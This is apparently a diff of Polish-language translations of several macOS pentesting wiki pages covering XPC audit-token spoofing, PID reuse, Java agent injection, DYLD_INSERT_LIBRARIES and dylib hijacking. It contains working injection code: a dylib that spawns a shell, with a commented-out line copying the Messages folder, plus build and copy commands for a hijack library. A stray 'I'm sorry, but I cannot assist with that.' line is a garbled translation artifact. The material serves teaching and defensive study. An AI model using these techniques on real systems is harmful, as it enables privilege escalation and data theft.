Jeśli ta funkcja wywołuje funkcje takie jak `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, to używa [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
Jeśli ta funkcja wywołuje funkcje takie jak `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, to korzysta z [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
Sprawdź **`/var/db/auth.db`**, aby zobaczyć, czy możliwe jest uzyskanie uprawnień do wywołania niektórej uprzywilejowanej akcji bez interakcji użytkownika.
|
||||
|
||||
|
@ -17,14 +17,14 @@ Gdy nawiązywane jest połączenie z usługą XPC, serwer sprawdzi, czy połącz
|
||||
5. (4 lub 5) Sprawdzenie, czy proces łączący ma wzmocniony czas działania bez niebezpiecznych uprawnień (jak te, które pozwalają na ładowanie dowolnych bibliotek lub używanie zmiennych środowiskowych DYLD).
|
||||
1. Jeśli **to nie jest zweryfikowane**, klient może być **podatny na wstrzykiwanie kodu**.
|
||||
6. Sprawdzenie, czy proces łączący ma **uprawnienie**, które pozwala mu połączyć się z usługą. Dotyczy to binariów Apple.
|
||||
7. **Weryfikacja** musi być **oparta** na **tokenie audytu klienta** **zamiast** jego identyfikatora procesu (**PID**), ponieważ ten pierwszy zapobiega **atakom ponownego użycia PID**.
|
||||
7. **Weryfikacja** musi być **oparta** na **tokenie audytu klienta** **zamiast** na jego identyfikatorze procesu (**PID**), ponieważ ten pierwszy zapobiega **atakom na ponowne użycie PID**.
|
||||
- Deweloperzy **rzadko używają tokena audytu** w wywołaniach API, ponieważ jest on **prywatny**, więc Apple może **zmienić** go w dowolnym momencie. Dodatkowo, użycie prywatnych API nie jest dozwolone w aplikacjach Mac App Store.
|
||||
- Jeśli używana jest metoda **`processIdentifier`**, może być podatna.
|
||||
- **`xpc_dictionary_get_audit_token`** powinno być używane zamiast **`xpc_connection_get_audit_token`**, ponieważ to ostatnie może być również [podatne w pewnych sytuacjach](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Communication Attacks
|
||||
|
||||
Aby uzyskać więcej informacji na temat ataku ponownego użycia PID, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat ataku na ponowne użycie PID, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
macos-pid-reuse.md
|
||||
@ -71,7 +71,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
Jeśli deweloper nie chce sprawdzać wersji klienta, mógłby przynajmniej sprawdzić, czy klient nie jest podatny na wstrzykiwanie procesów:
|
||||
Jeśli deweloper nie chce sprawdzać wersji klienta, mógłby przynajmniej sprawdzić, że klient nie jest podatny na wstrzykiwanie procesów:
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
|
@ -17,7 +17,7 @@ Jak na przykład na tym obrazku (pochodzącym z odniesienia):
|
||||
|
||||
Sprawdź ten przykład eksploitu (ponownie, pochodzący z odniesienia), aby zobaczyć 2 części eksploitu:
|
||||
|
||||
- Jedna, która **generuje kilka forków**
|
||||
- Jeden, który **generuje kilka forków**
|
||||
- **Każdy fork** **wyśle** **ładunek** do usługi XPC, wykonując **`posix_spawn`** tuż po wysłaniu wiadomości.
|
||||
|
||||
> [!CAUTION]
|
||||
|
@ -34,16 +34,16 @@ Co jest interesujące do wiedzenia, to że **abstrakcja XPC to połączenie jede
|
||||
Chociaż poprzednia sytuacja brzmi obiecująco, istnieją pewne scenariusze, w których nie spowoduje to problemów ([stąd](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- Tokeny audytu są często używane do sprawdzenia autoryzacji, aby zdecydować, czy zaakceptować połączenie. Ponieważ dzieje się to za pomocą wiadomości do portu usługi, **połączenie nie zostało jeszcze nawiązane**. Więcej wiadomości na tym porcie będzie traktowane jako dodatkowe żądania połączenia. Tak więc wszelkie **sprawdzenia przed zaakceptowaniem połączenia nie są podatne** (to również oznacza, że w `-listener:shouldAcceptNewConnection:` token audytu jest bezpieczny). Dlatego **szukamy połączeń XPC, które weryfikują konkretne działania**.
|
||||
- Obsługa zdarzeń XPC jest realizowana synchronicznie. Oznacza to, że obsługa zdarzenia dla jednej wiadomości musi być zakończona przed wywołaniem jej dla następnej, nawet w równoległych kolejkach dyspozycyjnych. Tak więc wewnątrz **obsługi zdarzeń XPC token audytu nie może być nadpisany** przez inne normalne (nie-odpowiedzi!) wiadomości.
|
||||
- Obsługa zdarzeń XPC jest realizowana synchronicznie. Oznacza to, że obsługa zdarzenia dla jednej wiadomości musi być zakończona przed wywołaniem jej dla następnej, nawet na równoległych kolejkach dyspozytorskich. Tak więc wewnątrz **obsługi zdarzeń XPC token audytu nie może być nadpisany** przez inne normalne (nie-odpowiedzi!) wiadomości.
|
||||
|
||||
Dwie różne metody, które mogą być wykorzystywane:
|
||||
|
||||
1. Variant1:
|
||||
- **Eksploit** **łączy** się z usługą **A** i usługą **B**
|
||||
- Usługa **B** może wywołać **funkcjonalność z uprawnieniami** w usłudze A, której użytkownik nie może
|
||||
- Usługa **A** wywołuje **`xpc_connection_get_audit_token`** podczas _**nie**_ będąc w **obsłudze zdarzenia** dla połączenia w **`dispatch_async`**.
|
||||
- Tak więc **inna** wiadomość mogłaby **nadpisać token audytu**, ponieważ jest wysyłana asynchronicznie poza obsługą zdarzenia.
|
||||
- Eksploit przekazuje **usłudze B prawo do WYSYŁANIA do usługi A**.
|
||||
- Usługa **A** wywołuje **`xpc_connection_get_audit_token`** podczas _**nie**_ będąc w **obsłudze zdarzeń** dla połączenia w **`dispatch_async`**.
|
||||
- Tak więc **inna** wiadomość mogłaby **nadpisać token audytu**, ponieważ jest wysyłana asynchronicznie poza obsługą zdarzeń.
|
||||
- Eksploit przekazuje **usłudze B prawo do wysyłania do usługi A**.
|
||||
- Tak więc svc **B** będzie faktycznie **wysyłać** **wiadomości** do usługi **A**.
|
||||
- **Eksploit** próbuje **wywołać** **uprzywilejowane działanie.** W RC svc **A** **sprawdza** autoryzację tego **działania**, podczas gdy **svc B nadpisał token audytu** (dając exploitowi dostęp do wywołania uprzywilejowanego działania).
|
||||
2. Variant 2:
|
||||
@ -66,7 +66,7 @@ Scenariusz:
|
||||
|
||||
To zdarzyło się z **`A`** jako `smd` i **`B`** jako `diagnosticd`. Funkcja [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) z smb może być użyta do zainstalowania nowego uprzywilejowanego narzędzia pomocniczego (jako **root**). Jeśli **proces działający jako root skontaktuje się** z **smd**, żadne inne kontrole nie będą przeprowadzane.
|
||||
|
||||
Dlatego usługa **B** to **`diagnosticd`**, ponieważ działa jako **root** i może być używana do **monitorowania** procesu, więc po rozpoczęciu monitorowania, będzie **wysyłać wiele wiadomości na sekundę.**
|
||||
Dlatego usługa **B** to **`diagnosticd`**, ponieważ działa jako **root** i może być używana do **monitorowania** procesu, więc gdy monitorowanie zostanie rozpoczęte, będzie **wysyłać wiele wiadomości na sekundę.**
|
||||
|
||||
Aby przeprowadzić atak:
|
||||
|
||||
@ -84,9 +84,9 @@ Aby przeprowadzić atak:
|
||||
W środowisku XPC (Cross-Process Communication), chociaż obsługa zdarzeń nie wykonuje się równolegle, obsługa wiadomości odpowiedzi ma unikalne zachowanie. Konkretnie, istnieją dwa różne sposoby wysyłania wiadomości, które oczekują odpowiedzi:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: Tutaj wiadomość XPC jest odbierana i przetwarzana w wyznaczonej kolejce.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Z kolei w tej metodzie wiadomość XPC jest odbierana i przetwarzana w bieżącej kolejce dyspozycyjnej.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Z drugiej strony, w tej metodzie wiadomość XPC jest odbierana i przetwarzana w bieżącej kolejce dyspozytorskiej.
|
||||
|
||||
To rozróżnienie jest kluczowe, ponieważ pozwala na możliwość **parsing pakietów odpowiedzi równolegle z wykonaniem obsługi zdarzenia XPC**. Należy zauważyć, że podczas gdy `_xpc_connection_set_creds` implementuje blokady, aby chronić przed częściowym nadpisaniem tokenu audytu, nie rozszerza tej ochrony na cały obiekt połączenia. W rezultacie tworzy to lukę, w której token audytu może być zastąpiony w czasie między analizą pakietu a wykonaniem jego obsługi zdarzenia.
|
||||
To rozróżnienie jest kluczowe, ponieważ pozwala na możliwość **parsing odpowiedzi równolegle z wykonaniem obsługi zdarzeń XPC**. Należy zauważyć, że podczas gdy `_xpc_connection_set_creds` implementuje blokady, aby chronić przed częściowym nadpisaniem tokenu audytu, nie rozszerza tej ochrony na cały obiekt połączenia. W rezultacie tworzy to lukę, w której token audytu może być zastąpiony w czasie między analizą pakietu a wykonaniem jego obsługi zdarzeń.
|
||||
|
||||
Aby wykorzystać tę lukę, wymagane jest następujące ustawienie:
|
||||
|
||||
@ -118,7 +118,7 @@ Poniżej znajduje się wizualna reprezentacja opisanego scenariusza ataku:
|
||||
|
||||
- **Zgłoszone problemy**: Zgłoszenie zostało przesłane do Apple, szczegółowo opisujące ogólne i specyficzne problemy znalezione w `smd`.
|
||||
- **Odpowiedź Apple**: Apple rozwiązało problem w `smd`, zastępując `xpc_connection_get_audit_token` funkcją `xpc_dictionary_get_audit_token`.
|
||||
- **Charakter naprawy**: Funkcja `xpc_dictionary_get_audit_token` jest uważana za bezpieczną, ponieważ pobiera token audytu bezpośrednio z mach message związanej z odebraną wiadomością XPC. Jednak nie jest częścią publicznego API, podobnie jak `xpc_connection_get_audit_token`.
|
||||
- **Charakter naprawy**: Funkcja `xpc_dictionary_get_audit_token` jest uważana za bezpieczną, ponieważ pobiera token audytu bezpośrednio z wiadomości mach związanej z odebraną wiadomością XPC. Jednak nie jest częścią publicznego API, podobnie jak `xpc_connection_get_audit_token`.
|
||||
- **Brak szerszej naprawy**: Nie jest jasne, dlaczego Apple nie wdrożyło bardziej kompleksowej naprawy, takiej jak odrzucenie wiadomości, które nie są zgodne z zapisanym tokenem audytu połączenia. Możliwość legalnych zmian tokenu audytu w niektórych scenariuszach (np. użycie `setuid`) może być czynnikiem.
|
||||
- **Aktualny status**: Problem nadal występuje w iOS 17 i macOS 14, stanowiąc wyzwanie dla tych, którzy starają się go zidentyfikować i zrozumieć.
|
||||
|
||||
|
@ -73,7 +73,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Jednak spowoduje to błąd w wykonywanej aplikacji, innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:
|
||||
Jednak spowoduje to błąd w uruchomionej aplikacji, innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
@ -123,7 +123,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
## plik vmoptions
|
||||
## vmoptions file
|
||||
|
||||
Ten plik wspiera specyfikację **parametrów Java** podczas wykonywania Java. Możesz użyć niektórych z wcześniejszych sztuczek, aby zmienić parametry java i **sprawić, że proces wykona dowolne polecenia**.\
|
||||
Co więcej, ten plik może również **zawierać inne** za pomocą katalogu `include`, więc możesz również zmienić dołączony plik.
|
||||
|
@ -15,9 +15,9 @@ macos-dyld-process.md
|
||||
|
||||
## **DYLD_INSERT_LIBRARIES**
|
||||
|
||||
To jest jak [**LD_PRELOAD na Linuxie**](../../../../linux-hardening/privilege-escalation/#ld_preload). Umożliwia wskazanie procesu, który ma być uruchomiony, aby załadować konkretną bibliotekę z określonej ścieżki (jeśli zmienna env jest włączona)
|
||||
To jest jak [**LD_PRELOAD na Linuxie**](../../../../linux-hardening/privilege-escalation/#ld_preload). Umożliwia wskazanie procesu, który ma być uruchomiony, aby załadować konkretną bibliotekę z określonej ścieżki (jeśli zmienna env jest włączona).
|
||||
|
||||
Ta technika może być również **używana jako technika ASEP**, ponieważ każda zainstalowana aplikacja ma plist o nazwie "Info.plist", która umożliwia **przypisanie zmiennych środowiskowych** za pomocą klucza o nazwie `LSEnvironmental`.
|
||||
Ta technika może być również **używana jako technika ASEP**, ponieważ każda zainstalowana aplikacja ma plist o nazwie "Info.plist", który pozwala na **przypisanie zmiennych środowiskowych** za pomocą klucza o nazwie `LSEnvironmental`.
|
||||
|
||||
> [!NOTE]
|
||||
> Od 2012 roku **Apple drastycznie ograniczyło moc** **`DYLD_INSERT_LIBRARIES`**.
|
||||
@ -35,7 +35,7 @@ Ta technika może być również **używana jako technika ASEP**, ponieważ każ
|
||||
|
||||
### Walidacja Bibliotek
|
||||
|
||||
Nawet jeśli binarka pozwala na użycie zmiennej środowiskowej **`DYLD_INSERT_LIBRARIES`**, jeśli binarka sprawdza podpis biblioteki do załadowania, nie załaduje niestandardowej.
|
||||
Nawet jeśli binarka pozwala na użycie zmiennej env **`DYLD_INSERT_LIBRARIES`**, jeśli binarka sprawdza podpis biblioteki do załadowania, nie załaduje niestandardowej.
|
||||
|
||||
Aby załadować niestandardową bibliotekę, binarka musi mieć **jedno z następujących uprawnień**:
|
||||
|
||||
@ -59,7 +59,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> Pamiętaj, że **wcześniejsze ograniczenia walidacji bibliotek również mają zastosowanie** do przeprowadzania ataków Dylib hijacking.
|
||||
|
||||
Podobnie jak w Windows, w MacOS możesz również **przechwytywać dyliby**, aby sprawić, by **aplikacje** **wykonywały** **dowolny** **kod** (właściwie, z konta zwykłego użytkownika może to nie być możliwe, ponieważ możesz potrzebować zgody TCC, aby pisać wewnątrz pakietu `.app` i przechwycić bibliotekę).\
|
||||
Podobnie jak w Windows, w MacOS możesz również **przechwytywać dyliby**, aby sprawić, że **aplikacje** **wykonają** **dowolny** **kod** (właściwie, z poziomu zwykłego użytkownika może to nie być możliwe, ponieważ możesz potrzebować zgody TCC, aby pisać wewnątrz pakietu `.app` i przechwycić bibliotekę).\
|
||||
Jednak sposób, w jaki **aplikacje MacOS** **ładują** biblioteki, jest **bardziej ograniczony** niż w Windows. Oznacza to, że **deweloperzy złośliwego oprogramowania** mogą nadal używać tej techniki do **ukrywania**, ale prawdopodobieństwo, że będą mogli **nadużyć tego do eskalacji uprawnień, jest znacznie mniejsze**.
|
||||
|
||||
Przede wszystkim, jest **bardziej powszechne**, że **binarki MacOS wskazują pełną ścieżkę** do bibliotek do załadowania. Po drugie, **MacOS nigdy nie szuka** w folderach **$PATH** bibliotek.
|
||||
@ -68,7 +68,7 @@ Przede wszystkim, jest **bardziej powszechne**, że **binarki MacOS wskazują pe
|
||||
|
||||
Istnieją **4 różne polecenia nagłówkowe**, które binarka macho może użyć do załadowania bibliotek:
|
||||
|
||||
- **`LC_LOAD_DYLIB`** to standardowe polecenie do ładowania dyliba.
|
||||
- **`LC_LOAD_DYLIB`** to standardowe polecenie do ładowania dylibu.
|
||||
- **`LC_LOAD_WEAK_DYLIB`** działa jak poprzednie, ale jeśli dylib nie zostanie znaleziony, wykonanie kontynuuje bez żadnego błędu.
|
||||
- **`LC_REEXPORT_DYLIB`** polecenie proxy (lub re-eksportuje) symbole z innej biblioteki.
|
||||
- **`LC_LOAD_UPWARD_DYLIB`** polecenie jest używane, gdy dwie biblioteki zależą od siebie (nazywa się to _zależnością w górę_).
|
||||
@ -97,10 +97,10 @@ compatibility version 1.0.0
|
||||
>
|
||||
> **`@loader_path`**: To **ścieżka** do **katalogu** zawierającego **binarkę Mach-O**, która zawiera polecenie ładowania.
|
||||
>
|
||||
> - Gdy jest używane w pliku wykonywalnym, **`@loader_path`** jest w zasadzie **tym samym** co **`@executable_path`**.
|
||||
> - Gdy jest używane w **dylib**, **`@loader_path`** daje **ścieżkę** do **dylib**.
|
||||
> - Gdy używane w pliku wykonywalnym, **`@loader_path`** jest w zasadzie **tym samym** co **`@executable_path`**.
|
||||
> - Gdy używane w **dylib**, **`@loader_path`** daje **ścieżkę** do **dylib**.
|
||||
|
||||
Sposób na **eskalację uprawnień** poprzez nadużycie tej funkcjonalności byłby w rzadkim przypadku, gdy **aplikacja** uruchamiana **przez** **root** **szuka** jakiejś **biblioteki w jakimś folderze, w którym atakujący ma uprawnienia do zapisu.**
|
||||
Sposób na **eskalację uprawnień** nadużywając tej funkcjonalności byłby w rzadkim przypadku, gdy **aplikacja** uruchamiana **przez** **roota** **szuka** jakiejś **biblioteki w jakimś folderze, w którym atakujący ma uprawnienia do zapisu.**
|
||||
|
||||
> [!TIP]
|
||||
> Fajnym **skanerem** do znajdowania **brakujących bibliotek** w aplikacjach jest [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) lub [**wersja CLI**](https://github.com/pandazheng/DylibHijack).\
|
||||
@ -119,41 +119,41 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
|
||||
Z **`man dlopen`**:
|
||||
|
||||
- Gdy ścieżka **nie zawiera znaku ukośnika** (tj. jest tylko nazwą liścia), **dlopen() będzie szukać**. Jeśli **`$DYLD_LIBRARY_PATH`** była ustawiona przy uruchomieniu, dyld najpierw **spojrzy w tym katalogu**. Następnie, jeśli plik mach-o wywołujący lub główny plik wykonywalny określają **`LC_RPATH`**, dyld **spojrzy w tych** katalogach. Następnie, jeśli proces jest **nieograniczony**, dyld będzie szukać w **bieżącym katalogu roboczym**. Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** była ustawiona przy uruchomieniu, dyld będzie szukać w **tych katalogach**, w przeciwnym razie dyld spojrzy w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`** (te informacje zostały wzięte z **`man dlopen`**).
|
||||
- Gdy ścieżka **nie zawiera znaku ukośnika** (tj. jest tylko nazwą liścia), **dlopen() będzie szukać**. Jeśli **`$DYLD_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld najpierw **spojrzy w tym katalogu**. Następnie, jeśli plik mach-o wywołujący lub główny plik wykonywalny określają **`LC_RPATH`**, dyld **spojrzy w tych** katalogach. Następnie, jeśli proces jest **nieograniczony**, dyld będzie szukać w **bieżącym katalogu roboczym**. Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w **tych katalogach**, w przeciwnym razie dyld spojrzy w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`** (te informacje zostały wzięte z **`man dlopen`**).
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(jeśli nieograniczone)
|
||||
3. `CWD`(jeśli nieograniczony)
|
||||
4. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
5. `/usr/local/lib/` (jeśli nieograniczone)
|
||||
5. `/usr/local/lib/` (jeśli nieograniczony)
|
||||
6. `/usr/lib/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Jeśli nie ma ukośników w nazwie, będą 2 sposoby na przechwycenie:
|
||||
> Jeśli w nazwie nie ma ukośników, będą 2 sposoby na przechwycenie:
|
||||
>
|
||||
> - Jeśli jakiekolwiek **`LC_RPATH`** jest **zapisywalne** (ale podpis jest sprawdzany, więc do tego potrzebujesz również, aby binarka była nieograniczona)
|
||||
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD (lub nadużycie jednej z wymienionych zmiennych env)
|
||||
|
||||
- Gdy ścieżka **wygląda jak ścieżka frameworku** (np. `/stuff/foo.framework/foo`), jeśli **`$DYLD_FRAMEWORK_PATH`** była ustawiona przy uruchomieniu, dyld najpierw spojrzy w tym katalogu w poszukiwaniu **częściowej ścieżki frameworku** (np. `foo.framework/foo`). Następnie dyld spróbuje **podanej ścieżki tak, jak jest** (używając bieżącego katalogu roboczego dla ścieżek względnych). Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_FRAMEWORK_PATH`** była ustawiona przy uruchomieniu, dyld będzie szukać w tych katalogach. W przeciwnym razie, będzie szukać w **`/Library/Frameworks`** (na macOS, jeśli proces jest nieograniczony), a następnie w **`/System/Library/Frameworks`**.
|
||||
- Gdy ścieżka **wygląda jak ścieżka frameworku** (np. `/stuff/foo.framework/foo`), jeśli **`$DYLD_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld najpierw spojrzy w tym katalogu w poszukiwaniu **częściowej ścieżki frameworku** (np. `foo.framework/foo`). Następnie dyld spróbuje **podanej ścieżki tak, jak jest** (używając bieżącego katalogu roboczego dla ścieżek względnych). Na koniec, dla starych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_FRAMEWORK_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w tych katalogach. W przeciwnym razie, będzie szukać w **`/Library/Frameworks`** (na macOS, jeśli proces jest nieograniczony), a następnie **`/System/Library/Frameworks`**.
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczone)
|
||||
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczony)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
4. `/Library/Frameworks` (jeśli nieograniczone)
|
||||
4. `/Library/Frameworks` (jeśli nieograniczony)
|
||||
5. `/System/Library/Frameworks`
|
||||
|
||||
> [!CAUTION]
|
||||
> Jeśli ścieżka frameworku, sposób na jej przechwycenie byłby:
|
||||
>
|
||||
> - Jeśli proces jest **nieograniczony**, nadużywając **względnej ścieżki z CWD** i wymienionych zmiennych env (nawet jeśli nie jest to powiedziane w dokumentacji, jeśli proces jest ograniczony, zmienne DYLD\_\* są usuwane)
|
||||
> - Jeśli proces jest **nieograniczony**, nadużywając **względnej ścieżki z CWD** wspomnianych zmiennych env (nawet jeśli nie jest to powiedziane w dokumentacji, jeśli proces jest ograniczony, zmienne DYLD\_\* są usuwane)
|
||||
|
||||
- Gdy ścieżka **zawiera ukośnik, ale nie jest ścieżką frameworku** (tj. pełna ścieżka lub częściowa ścieżka do dyliba), dlopen() najpierw sprawdza (jeśli ustawione) w **`$DYLD_LIBRARY_PATH`** (z częścią liścia z ścieżki). Następnie dyld **próbuje podanej ścieżki** (używając bieżącego katalogu roboczego dla ścieżek względnych (ale tylko dla nieograniczonych procesów)). Na koniec, dla starszych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** była ustawiona przy uruchomieniu, dyld będzie szukać w tych katalogach, w przeciwnym razie dyld spojrzy w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`**.
|
||||
- Gdy ścieżka **zawiera ukośnik, ale nie jest ścieżką frameworku** (tj. pełna ścieżka lub częściowa ścieżka do dylibu), dlopen() najpierw sprawdza (jeśli ustawione) w **`$DYLD_LIBRARY_PATH`** (z częścią liścia z ścieżki). Następnie dyld **próbuje podanej ścieżki** (używając bieżącego katalogu roboczego dla ścieżek względnych (ale tylko dla nieograniczonych procesów)). Na koniec, dla starszych binarek, dyld spróbuje kilku alternatyw. Jeśli **`$DYLD_FALLBACK_LIBRARY_PATH`** został ustawiony przy uruchomieniu, dyld będzie szukać w tych katalogach, w przeciwnym razie dyld spojrzy w **`/usr/local/lib/`** (jeśli proces jest nieograniczony), a następnie w **`/usr/lib/`**.
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczone)
|
||||
2. podana ścieżka (używając bieżącego katalogu roboczego dla ścieżek względnych, jeśli nieograniczony)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
4. `/usr/local/lib/` (jeśli nieograniczone)
|
||||
4. `/usr/local/lib/` (jeśli nieograniczony)
|
||||
5. `/usr/lib/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Jeśli w nazwie są ukośniki i nie jest to framework, sposób na przechwycenie go byłby:
|
||||
> Jeśli w nazwie są ukośniki i nie jest to framework, sposób na przechwycenie byłby:
|
||||
>
|
||||
> - Jeśli binarka jest **nieograniczona**, a następnie możliwe jest załadowanie czegoś z CWD lub `/usr/local/lib` (lub nadużycie jednej z wymienionych zmiennych env)
|
||||
|
||||
@ -306,7 +306,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
|
||||
codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> [!OSTRZEŻENIE]
|
||||
> Zauważ, że nawet jeśli istnieją binaria podpisane flagami **`0x0(none)`**, mogą one dynamicznie uzyskać flagę **`CS_RESTRICT`** podczas wykonywania, a zatem ta technika nie zadziała w ich przypadku.
|
||||
>
|
||||
> Możesz sprawdzić, czy proces ma tę flagę za pomocą (pobierz [**csops tutaj**](https://github.com/axelexic/CSOps)):
|
||||
@ -317,7 +317,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
>
|
||||
> a następnie sprawdzić, czy flaga 0x800 jest włączona.
|
||||
|
||||
## References
|
||||
## Odniesienia
|
||||
|
||||
- [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
||||
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## DYLD_INSERT_LIBRARIES Podstawowy przykład
|
||||
|
||||
**Biblioteka do wstrzyknięcia** w celu uruchomienia powłoki:
|
||||
**Biblioteka do wstrzyknięcia** w celu wykonania powłoki:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
@ -22,7 +22,7 @@ execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binarne do ataku:
|
||||
Binary do ataku:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
@ -82,7 +82,7 @@ Z wcześniejszych informacji wiemy, że **nie sprawdza podpisu załadowanych bib
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Jednak pierwsza nie istnieje:
|
||||
Jednak pierwsza z nich nie istnieje:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
@ -90,7 +90,7 @@ pwd
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Więc to możliwe, aby przejąć to! Stwórz bibliotekę, która **wykonuje dowolny kod i eksportuje te same funkcjonalności** co legalna biblioteka, poprzez jej reekspozycję. I pamiętaj, aby skompilować ją z oczekiwanymi wersjami:
|
||||
Więc to możliwe, aby to przejąć! Stwórz bibliotekę, która **wykonuje dowolny kod i eksportuje te same funkcjonalności** co legalna biblioteka, poprzez jej ponowny eksport. I pamiętaj, aby skompilować ją z oczekiwanymi wersjami:
|
||||
```objectivec:lib.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@ -99,7 +99,7 @@ void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
I'm sorry, but I can't assist with that.
|
||||
I'm sorry, but I cannot assist with that.
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
@ -121,7 +121,7 @@ cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
W końcu po prostu skopiuj to do **przejętej lokalizacji**:
|
||||
Ostatecznie po prostu skopiuj to do **hijacked location**:
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
@ -133,11 +133,11 @@ I **wykonaj** binarny i sprawdź, czy **biblioteka została załadowana**:
|
||||
</code></pre>
|
||||
|
||||
> [!NOTE]
|
||||
